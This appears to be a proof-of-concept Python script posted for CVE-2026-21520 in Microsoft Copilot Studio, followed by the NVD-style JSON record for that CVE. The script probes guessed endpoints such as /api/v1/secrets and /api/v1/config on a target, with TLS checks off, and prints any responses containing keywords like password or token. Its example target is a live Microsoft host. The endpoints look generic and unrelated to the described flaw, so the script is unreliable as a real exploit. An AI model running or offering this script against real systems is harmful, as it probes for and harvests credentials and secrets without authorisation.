CVE-2026-21520

import requests import sys # CVE-2026-21520 PoC - Copilot Studio Sensitive Information Exposure # Target: Microsoft Copilot Studio # Vulnerability: Unauthorized access to sensitive information def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-21520 """ # Common API endpoints that might expose sensitive information endpoints = [ '/api/v1/config', '/api/v1/internal', '/api/v1/users/data', '/api/v1/secrets', '/api/v1/settings' ] vulnerable = False leaked_data = [] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) # Check for sensitive data in response if response.status_code == 200: content = response.text.lower() sensitive_keywords = ['password', 'secret', 'token', 'key', 'credential', 'apikey', 'internal'] if any(keyword in content for keyword in sensitive_keywords): vulnerable = True leaked_data.append({ 'endpoint': endpoint, 'status': response.status_code, 'data_preview': response.text[:500] }) except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return vulnerable, leaked_data if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2026-21520-poc.py <target_url>") print("Example: python cve-2026-21520-poc.py https://copilot-studio.microsoft.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing target: {target}") print(f"[*] Checking for CVE-2026-21520 vulnerability...\n") is_vulnerable, data = check_vulnerability(target) if is_vulnerable: print("[+] VULNERABLE - Sensitive information exposure detected!") for item in data: print(f"\n[+] Leaked data found at: {item['endpoint']}") print(f"Status: {item['status']}") print(f"Preview: {item['data_preview']}") else: print("[-] Target appears to be patched or not vulnerable")

{"cve": {"id": "CVE-2026-21520", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:57.657", "lastModified": "2026-02-02T13:31:19.580", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive Information to an Unauthorized Actor in Copilot Studio allows a unauthenticated attacker to view sensitive information through network attack vector"}, {"lang": "es", "value": "Exposición de información sensible a un actor no autorizado en Copilot Studio permite a un atacante no autenticado ver información sensible a través de un vector de ataque de red"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:copilot_studio:-:*:*:*:*:*:*:*", "matchCriteriaId": "7859CFCD-C125-4992-9DCD-A843175DF9BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21520", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}